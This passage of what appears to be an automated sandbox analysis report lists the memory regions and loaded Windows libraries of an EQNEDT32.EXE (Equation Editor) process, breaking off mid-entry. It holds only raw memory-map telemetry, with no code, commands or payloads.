	os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ee00" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]

Region:
	              id = 424
	        start_va = 0x10000
	          end_va = 0x2ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000010000"
	        filename = ""

Region:
	              id = 425
	        start_va = 0x30000
	          end_va = 0x31fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000030000"
	        filename = ""

Region:
	              id = 426
	        start_va = 0x40000
	          end_va = 0x40fff
	     entry_point = 0x40000
	     region_type = mapped_file
	            name = "apisetschema.dll"
	        filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll")

Region:
	              id = 427
	        start_va = 0x50000
	          end_va = 0x8ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000050000"
	        filename = ""

Region:
	              id = 428
	        start_va = 0x90000
	          end_va = 0x18ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000090000"
	        filename = ""

Region:
	              id = 429
	        start_va = 0x190000
	          end_va = 0x193fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000190000"
	        filename = ""

Region:
	              id = 430
	        start_va = 0x1a0000
	          end_va = 0x1a0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000001a0000"
	        filename = ""

Region:
	              id = 431
	        start_va = 0x400000
	          end_va = 0x48dfff
	     entry_point = 0x400000
	     region_type = mapped_file
	            name = "eqnedt32.exe"
	        filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\equation\\eqnedt32.exe")

Region:
	              id = 432
	        start_va = 0x77450000
	          end_va = 0x775f8fff
	     entry_point = 0x77450000
	     region_type = mapped_file
	            name = "ntdll.dll"
	        filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")

Region:
	              id = 433
	        start_va = 0x77630000
	          end_va = 0x777affff
	     entry_point = 0x77630000
	     region_type = mapped_file
	            name = "ntdll.dll"
	        filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll")

Region:
	              id = 434
	        start_va = 0x7efb0000
	          end_va = 0x7efd2fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000007efb0000"
	        filename = ""

Region:
	              id = 435
	        start_va = 0x7efdb000
	          end_va = 0x7efddfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efdb000"
	        filename = ""

Region:
	              id = 436
	        start_va = 0x7efde000
	          end_va = 0x7efdefff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efde000"
	        filename = ""

Region:
	              id = 437
	        start_va = 0x7efdf000
	          end_va = 0x7efdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efdf000"
	        filename = ""

Region:
	              id = 438
	        start_va = 0x7efe0000
	          end_va = 0x7ffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efe0000"
	        filename = ""

Region:
	              id = 439
	        start_va = 0x7ffe0000
	          end_va = 0x7ffeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ffe0000"
	        filename = ""

Region:
	              id = 440
	        start_va = 0x7fff0000
	          end_va = 0x7fffffeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007fff0000"
	        filename = ""

Region:
	              id = 441
	        start_va = 0x1f0000
	          end_va = 0x26ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000001f0000"
	        filename = ""

Region:
	              id = 442
	        start_va = 0x74ac0000
	          end_va = 0x74ac7fff
	     entry_point = 0x74ac0000
	     region_type = mapped_file
	            name = "wow64cpu.dll"
	        filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll")

Region:
	              id = 443
	        start_va = 0x74ad0000
	          end_va = 0x74b2bfff
	     entry_point = 0x74ad0000
	     region_type = mapped_file
	            name = "wow64win.dll"
	        filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll")

Region:
	              id = 444
	        start_va = 0x74b30000
	          end_va = 0x74b6efff
	     entry_point = 0x74b30000
	     region_type = mapped_file
	            name = "wow64.dll"
	        filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll")

Region:
	              id = 445
	        start_va = 0x2b0000
	          end_va = 0x3affff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000002b0000"
	        filename = ""

Region:
	              id = 446
	        start_va = 0x75730000
	          end_va = 0x7583ffff
	     entry_point = 0x75730000
	     region_type = mapped_file
	            name = "kernel32.dll"
	        filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll")

Region:
	              id = 447
	        start_va = 0x75850000
	          end_va = 0x75895fff
	     entry_point = 0x75850000
	     region_type = mapped_file
	            name = "kernelbase.dll"
	        filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll")

Region:
	              id = 448
	        start_va = 0x77230000
	          end_va = 0x77329fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000077230000"
	        filename = ""

Region:
	              id = 449
	        start_va = 0x77330000
	          end_va = 0x7744efff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000077330000"
	        filename = ""

Region:
	              id = 450
	        start_va = 0x10000
	          end_va = 0x1ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000010000"
	        filename = ""

Region:
	              id = 451
	        start_va = 0x20000
	          end_va = 0x20fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000020000"
	        filename = ""

Region:
	              id = 452
	        start_va = 0x490000
	          end_va = 0x4f6fff
	     entry_point = 0x490000
	     region_type = mapped_file
	            name = "locale.nls"
	        filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls")

Region:
	              id = 453
	        start_va = 0x74c80000
	          end_va = 0x74d03fff
	     entry_point = 0x74c80000
	     region_type = mapped_file
	            name = "comctl32.dll"
	        filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll")

Region:
	              id = 454
	        start_va = 0x74d10000
	          end_va = 0x74d1afff
	     entry_point = 0x74d10000
	     region_type = mapped_file
	            name = "profapi.dll"
	        filename = "\\Windows\\SysWOW64\\profapi.dll" (normalized: "c:\\windows\\syswow64\\profapi.dll")

Region:
	              id = 455
	        start_va = 0x74d20000
	          end_va = 0x74d36fff
	     entry_point = 0x74d20000
	     region_type = mapped_file
	            name = "userenv.dll"
	        filename = "\\Windows\\SysWOW64\\userenv.dll" (normalized: "c:\\windows\\syswow64\\userenv.dll")

Region:
	              id = 456
	        start_va = 0x74d40000
	          end_va = 0x74eb8fff
	     entry_point = 0x74d40000
	     region_type = mapped_file
	            name = "c2r32.dll"
	        filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\C2R32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r32.dll")

Region:
	              id = 457
	        start_va = 0x74ec0000
	          end_va = 0x75077fff
	     entry_point = 0x74ec0000
	     region_type = mapped_file
	            name = "appvisvsubsystems32.dll"
	        filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\AppvIsvSubsystems32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems32.dll")

Region:
	              id = 458
	        start_va = 0x75180000
	          end_va = 0x7518bfff
	     entry_point = 0x75180000
	     region_type = mapped_file
	            name = "cryptbase.dll"
	        filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll")

Region:
	              id = 459
	        start_va = 0x75190000
	          end_va = 0x751effff
	     entry_point = 0x75190000
	     region_type = mapped_file
	            name = "sspicli.dll"
	        filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll")

Region:
	              id = 460
	        start_va = 0x75210000
	          end_va = 0x752fffff
	     entry_point = 0x75210000
	     region_type = mapped_file
	            name = "rpcrt4.dll"
	        filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll")

Region:
	              id = 461
	        start_va = 0x753d0000
	          end_va = 0x7545ffff
	     entry_point = 0x753d0000
	     region_type = mapped_file
	            name = "gdi32.dll"
	        filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll")

Region:
	              id = 462
	        start_va = 0x756d0000
	          end_va = 0x75726fff
	     entry_point = 0x756d0000
	     region_type = mapped_file
	            name = "shlwapi.dll"
	        filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll")

Region:
	              id = 463
	        start_va = 0x759d0000
	          end_va = 0x75a6ffff
	     entry_point = 0x759d0000
	     region_type = mapped_file
	            name = "advapi32.dll"
	        filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll")

Region:
	              id = 464
	        start_va = 0x75b00000
	          end_va = 0x75b9cfff
	     entry_point = 0x75b00000
	     region_type = mapped_file
	            name = "usp10.dll"
	        filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll")

Region:
	              id = 465
	        start_va = 0x75fb0000
	          end_va = 0x7610bfff
	     entry_point = 0x75fb0000
	     region_type = mapped_file
	            name = "ole32.dll"
	        filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll")

Region:
	              id = 466
	        start_va = 0x76110000
	          end_va = 0x76d59fff
	     entry_point = 0x76110000
	     region_type = mapped_file
	            name = "shell32.dll"
	        filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll")

Region:
	              id = 467
	        start_va = 0x76dc0000
	          end_va = 0x76ebffff
	     entry_point = 0x76dc0000
	     region_type = mapped_file
	            name = "user32.dll"
	        filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll")

Region:
	              id = 468
	        start_va = 0x76ec0000
	          end_va = 0x76ed8fff
	     entry_point = 0x76ec0000
	     region_type = mapped_file
	            name = "sechost.dll"
	        filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll")

Region:
	              id = 469
	        start_va = 0x76ee0000
	          end_va = 0x76f6efff
	     entry_point = 0x76ee0000
	     region_type = mapped_file
	            name = "oleaut32.dll"
	        filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll")

Region:
	              id = 470
	        start_va = 0x76fa0000
	          end_va = 0x7704bfff
	     entry_point = 0x76fa0000
	     region_type = mapped_file
	            name = "msvcrt.dll"
	        filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll")

Region:
	              id = 471
	        start_va = 0x77600000
	          end_va = 0x77609fff
	     entry_point = 0x77600000
	     region_type = mapped_file
	            name = "lpk.dll"
	        filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll")

Region:
	              id = 472
	        start_va = 0x7efe0000
	          end_va = 0x7f0dffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000007efe0000"
	        filename = ""

Region:
	              id = 473
	        start_va = 0x7f0e0000
	          end_va = 0x7ffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007f0e0000"
	        filename = ""

Region:
	              id = 474
	        start_va = 0x680000
	          end_va = 0x68ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000680000"
	        filename = ""

Region:
	              id = 475
	        start_va = 0x690000
	          end_va = 0x817fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000690000"
	        filename = ""

Region:
	              id = 476
	        start_va = 0x75ce0000
	          end_va = 0x75dabfff
	     entry_point = 0x75ce0000
	     region_type = mapped_file
	            name = "msctf.dll"
	        filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll")

Region:
	              id = 477
	        start_va = 0x76d60000
	          end_va = 0x76dbffff
	     entry_point = 0x76d60000
	     region_type = mapped_file
	            name = "imm32.dll"
	        filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll")

Region:
	              id = 478
	        start_va = 0x30000
	          end_va = 0x30fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000030000"
	        filename = ""

Region:
	              id = 479
	        start_va = 0x1b0000
	          end_va = 0x1b0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000001b0000"
	        filename = ""

Region:
	              id = 480
	        start_va = 0x1c0000
	          end_va = 0x1c0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000001c0000"
	        filename = ""

Region:
	              id = 481
	        start_va = 0x1d0000
	          end_va = 0x1d6fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000001d0000"
	        filename = ""

Region:
	              id = 482
	        start_va = 0x1e0000
	          end_va = 0x1e1fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000001e0000"
	        filename = ""

Region:
	              id = 483
	        start_va = 0x820000
	          end_va = 0x9a0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000820000"
	        filename = ""

Region:
	              id = 484
	        start_va = 0x9b0000
	          end_va = 0x1daffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000009b0000"
	        filename = ""

Region:
	              id = 485
	        start_va = 0x1db0000
	          end_va = 0x207efff
	     entry_point = 0x1db0000
	     region_type = mapped_file
	            name = "sortdefault.nls"
	        filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls")

Region:
	              id = 486
	        start_va = 0x2080000
	          end_va = 0x2472fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000002080000"
	        filename = ""

Region:
	              id = 487
	        start_va = 0x6f630000
	          end_va = 0x6f63ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000006f630000"
	        filename = ""

Region:
	              id = 488
	        start_va = 0x74ab0000
	          end_va = 0x74ab2fff
	     entry_point = 0x74ab0000
	     region_type = mapped_file
	            name = "api-ms-win-core-synch-l1-2-0.dll"
	        filename = "\\Windows\\SysWOW64\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\syswow64\\api-ms-win-core-synch-l1-2-0.dll")

Region:
	              id = 489
	        start_va = 0x550000
	          end_va = 0x55ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000550000"
	        filename = ""

Region:
	              id = 490
	        start_va = 0x5b0000
	          end_va = 0x5bffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000005b0000"
	        filename = ""

Region:
	              id = 491
	        start_va = 0x2480000
	          end_va = 0x287ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002480000"
	        filename = ""

Region:
	              id = 492
	        start_va = 0x74330000
	          end_va = 0x7456ffff
	     entry_point = 0x74330000
	     region_type = mapped_file
	            name = "msi.dll"
	        filename = "\\Windows\\SysWOW64\\msi.dll" (normalized: "c:\\windows\\syswow64\\msi.dll")

Region:
	              id = 493
	        start_va = 0x3de20000
	          end_va = 0x3de2dfff
	     entry_point = 0x3de20000
	     region_type = mapped_file
	            name = "eeintl.dll"
	        filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\equation\\1033\\eeintl.dll")

Region:
	              id = 494
	        start_va = 0x74a30000
	          end_va = 0x74aaffff
	     entry_point = 0x74a30000
	     region_type = mapped_file
	            name = "uxtheme.dll"
	        filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll")

Region:
	              id = 495
	        start_va = 0x270000
	          end_va = 0x2affff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000270000"
	        filename = ""

Region:
	              id = 496
	        start_va = 0x3b0000
	          end_va = 0x3b0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000003b0000"
	        filename = ""

Region:
	              id = 497
	        start_va = 0x2880000
	          end_va = 0x295efff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000002880000"
	        filename = ""

Region:
	              id = 498
	        start_va = 0x75340000
	          end_va = 0x753c2fff
	     entry_point = 0x75340000
	     region_type = mapped_file
	            name = "clbcatq.dll"
	        filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll")

Region:
	              id = 499
	        start_va = 0x3c0000
	          end_va = 0x3fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000003c0000"
	        filename = ""

Region:
	              id = 500
	        start_va = 0x500000
	          end_va = 0x53ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000500000"
	        filename = ""

Region:
	              id = 501
	        start_va = 0x2960000
	          end_va = 0x2a5ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002960000"
	        filename = ""

Region:
	              id = 502
	        start_va = 0x2a60000
	          end_va = 0x2b5ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002a60000"
	        filename = ""

Region:
	              id = 503
	        start_va = 0x74c60000
	          end_va = 0x74c75fff
	     entry_point = 0x74c60000
	     region_type = mapped_file
	            name = "cryptsp.dll"
	        filename = "\\Windows\\SysWOW64\\cryptsp.dll" (normalized: "c:\\windows\\syswow64\\cryptsp.dll")

Region:
	              id = 504
	        start_va = 0x7efd5000
	          end_va = 0x7efd7fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efd5000"
	        filename = ""

Region:
	              id = 505
	        start_va = 0x7efd8000
	          end_va = 0x7efdafff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efd8000"
	        filename = ""

Region:
	              id = 506
	        start_va = 0x74c20000
	          end_va = 0x74c5afff
	     entry_point = 0x74c20000
	     region_type = mapped_file
	            name = "rsaenh.dll"
	        filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll")

Region:
	              id = 507
	        start_va = 0x74c10000
	          end_va = 0x74c1dfff
	     entry_point = 0x74c10000
	     region_type = mapped_file
	            name = "rpcrtremote.dll"
	        filename = "\\Windows\\SysWOW64\\RpcRtRemote.dll" (normalized: "c:\\windows\\syswow64\\rpcrtremote.dll")

Region:
	              id = 508
	        start_va = 0x560000
	          end_va = 0x59ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000560000"
	        filename = ""

Region:
	              id = 509
	        start_va = 0x5c0000
	          end_va = 0x5fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000005c0000"
	        filename = ""

Region:
	              id = 510
	        start_va = 0x600000
	          end_va = 0x67ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000600000"
	        filename = ""

Region:
	              id = 511
	        start_va = 0x2b60000
	          end_va = 0x2c5ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002b60000"
	        filename = ""

Region:
	              id = 512
	        start_va = 0x2c60000
	          end_va = 0x2d5ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002c60000"
	        filename = ""

Region:
	              id = 513
	        start_va = 0x2d60000
	          end_va = 0x2e1ffff
	     entry_point = 0x2d60000
	     region_type = mapped_file
	            name = "kernelbase.dll.mui"
	        filename = "\\Windows\\SysWOW64\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\kernelbase.dll.mui")

Region:
	              id = 514
	        start_va = 0x2ef0000
	          end_va = 0x2f2ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002ef0000"
	        filename = ""

Region:
	              id = 515
	        start_va = 0x74a10000
	          end_va = 0x74a22fff
	     entry_point = 0x74a10000
	     region_type = mapped_file
	            name = "dwmapi.dll"
	        filename = "\\Windows\\SysWOW64\\dwmapi.dll" (normalized: "c:\\windows\\syswow64\\dwmapi.dll")

Region:
	              id = 516
	        start_va = 0x7efaa000
	          end_va = 0x7efacfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efaa000"
	        filename = ""

Region:
	              id = 517
	        start_va = 0x7efad000
	          end_va = 0x7efaffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efad000"
	        filename = ""

Region:
	              id = 518
	        start_va = 0x2f30000
	          end_va = 0x385ffff
	     entry_point = 0x2f30000
	     region_type = mapped_file
	            name = "staticcache.dat"
	        filename = "\\Windows\\Fonts\\StaticCache.dat" (normalized: "c:\\windows\\fonts\\staticcache.dat")

Region:
	              id = 519
	        start_va = 0x75ba0000
	          end_va = 0x75cd5fff
	     entry_point = 0x75ba0000
	     region_type = mapped_file
	            name = "urlmon.dll"
	        filename = "\\Windows\\SysWOW64\\urlmon.dll" (normalized: "c:\\windows\\syswow64\\urlmon.dll")

Region:
	              id = 520
	        start_va = 0x758d0000
	          end_va = 0x759c4fff
	     entry_point = 0x758d0000
	     region_type = mapped_file
	            name = "wininet.dll"
	        filename = "\\Windows\\SysWOW64\\wininet.dll" (normalized: "c:\\windows\\syswow64\\wininet.dll")

Region:
	              id = 521
	        start_va = 0x75db0000
	          end_va = 0x75faafff
	     entry_point = 0x75db0000
	     region_type = mapped_file
	            name = "iertutil.dll"
	        filename = "\\Windows\\SysWOW64\\iertutil.dll" (normalized: "c:\\windows\\syswow64\\iertutil.dll")

Region:
	              id = 522
	        start_va = 0x770e0000
	          end_va = 0x771fcfff
	     entry_point = 0x770e0000
	     region_type = mapped_file
	            name = "crypt32.dll"
	        filename = "\\Windows\\SysWOW64\\crypt32.dll" (normalized: "c:\\windows\\syswow64\\crypt32.dll")

Region:
	              id = 523
	        start_va = 0x758b0000
	          end_va = 0x758bbfff
	     entry_point = 0x758b0000
	     region_type = mapped_file
	            name = "msasn1.dll"
	        filename = "\\Windows\\SysWOW64\\msasn1.dll" (normalized: "c:\\windows\\syswow64\\msasn1.dll")

Region:
	              id = 524
	        start_va = 0x74be0000
	          end_va = 0x74c00fff
	     entry_point = 0x74be0000
	     region_type = mapped_file
	            name = "ntmarta.dll"
	        filename = "\\Windows\\SysWOW64\\ntmarta.dll" (normalized: "c:\\windows\\syswow64\\ntmarta.dll")

Region:
	              id = 525
	        start_va = 0x754e0000
	          end_va = 0x75524fff
	     entry_point = 0x754e0000
	     region_type = mapped_file
	            name = "wldap32.dll"
	        filename = "\\Windows\\SysWOW64\\Wldap32.dll" (normalized: "c:\\windows\\syswow64\\wldap32.dll")

Region:
	              id = 526
	        start_va = 0x74bd0000
	          end_va = 0x74bd8fff
	     entry_point = 0x74bd0000
	     region_type = mapped_file
	            name = "version.dll"
	        filename = "\\Windows\\SysWOW64\\version.dll" (normalized: "c:\\windows\\syswow64\\version.dll")

Region:
	              id = 527
	        start_va = 0x3860000
	          end_va = 0x3ba2fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000003860000"
	        filename = ""

Region:
	              id = 528
	        start_va = 0x3bb0000
	          end_va = 0x3caffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003bb0000"
	        filename = ""

Region:
	              id = 529
	        start_va = 0x540000
	          end_va = 0x54bfff
	     entry_point = 0x540000
	     region_type = mapped_file
	            name = "index.dat"
	        filename = "\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\index.dat")

Region:
	              id = 530
	        start_va = 0x5a0000
	          end_va = 0x5a7fff
	     entry_point = 0x5a0000
	     region_type = mapped_file
	            name = "index.dat"
	        filename = "\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\index.dat")

Region:
	              id = 531
	        start_va = 0x2e20000
	          end_va = 0x2e2ffff
	     entry_point = 0x2e20000
	     region_type = mapped_file
	            name = "index.dat"
	        filename = "\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\history\\history.ie5\\index.dat")

Region:
	              id = 532
	        start_va = 0x2e30000
	          end_va = 0x2e6ffff
	     entry_point = 0x2e30000
	     region_type = mapped_file
	            name = "index.dat"
	        filename = "\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache\\index.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\ietldcache\\index.dat")

Region:
	              id = 533
	        start_va = 0x2e70000
	          end_va = 0x2e71fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000002e70000"
	        filename = ""

Region:
	              id = 534
	        start_va = 0x74830000
	          end_va = 0x749cdfff
	     entry_point = 0x74830000
	     region_type = mapped_file
	            name = "comctl32.dll"
	        filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll")

Region:
	              id = 535
	        start_va = 0x2e80000
	          end_va = 0x2e80fff
	     entry_point = 0x2e80000
	     region_type = mapped_file
	            name = "windowsshell.manifest"
	        filename = "\\Windows\\WindowsShell.Manifest" (normalized: "c:\\windows\\windowsshell.manifest")

Region:
	              id = 536
	        start_va = 0x2e90000
	          end_va = 0x2e91fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000002e90000"
	        filename = ""

Region:
	              id = 537
	        start_va = 0x75300000
	          end_va = 0x75334fff
	     entry_point = 0x75300000
	     region_type = mapped_file
	            name = "ws2_32.dll"
	        filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll")

Region:
	              id = 538
	        start_va = 0x75840000
	          end_va = 0x75845fff
	     entry_point = 0x75840000
	     region_type = mapped_file
	            name = "nsi.dll"
	        filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll")

Region:
	              id = 539
	        start_va = 0x74b80000
	          end_va = 0x74bc3fff
	     entry_point = 0x74b80000
	     region_type = mapped_file
	            name = "dnsapi.dll"
	        filename = "\\Windows\\SysWOW64\\dnsapi.dll" (normalized: "c:\\windows\\syswow64\\dnsapi.dll")

Region:
	              id = 540
	        start_va = 0x3ea0000
	          end_va = 0x3edffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003ea0000"
	        filename = ""

Region:
	              id = 541
	        start_va = 0x74810000
	          end_va = 0x7482bfff
	     entry_point = 0x74810000
	     region_type = mapped_file
	            name = "iphlpapi.dll"
	        filename = "\\Windows\\SysWOW64\\IPHLPAPI.DLL" (normalized: "c:\\windows\\syswow64\\iphlpapi.dll")

Region:
	              id = 542
	        start_va = 0x74b70000
	          end_va = 0x74b76fff
	     entry_point = 0x74b70000
	     region_type = mapped_file
	            name = "winnsi.dll"
	        filename = "\\Windows\\SysWOW64\\winnsi.dll" (normalized: "c:\\windows\\syswow64\\winnsi.dll")

Region:
	              id = 543
	        start_va = 0x74550000
	          end_va = 0x74564fff
	     entry_point = 0x74550000
	     region_type = mapped_file
	            name = "rasman.dll"
	        filename = "\\Windows\\SysWOW64\\rasman.dll" (normalized: "c:\\windows\\syswow64\\rasman.dll")

Region:
	              id = 544
	        start_va = 0x747b0000
	          end_va = 0x74801fff
	     entry_point = 0x747b0000
	     region_type = mapped_file
	            name = "rasapi32.dll"
	        filename = "\\Windows\\SysWOW64\\rasapi32.dll" (normalized: "c:\\windows\\syswow64\\rasapi32.dll")

Region:
	              id = 545
	        start_va = 0x747a0000
	          end_va = 0x747acfff
	     entry_point = 0x747a0000
	     region_type = mapped_file
	            name = "rtutils.dll"
	        filename = "\\Windows\\SysWOW64\\rtutils.dll" (normalized: "c:\\windows\\syswow64\\rtutils.dll")

Region:
	              id = 546
	        start_va = 0x2e80000
	          end_va = 0x2e80fff
	     entry_point = 0x0
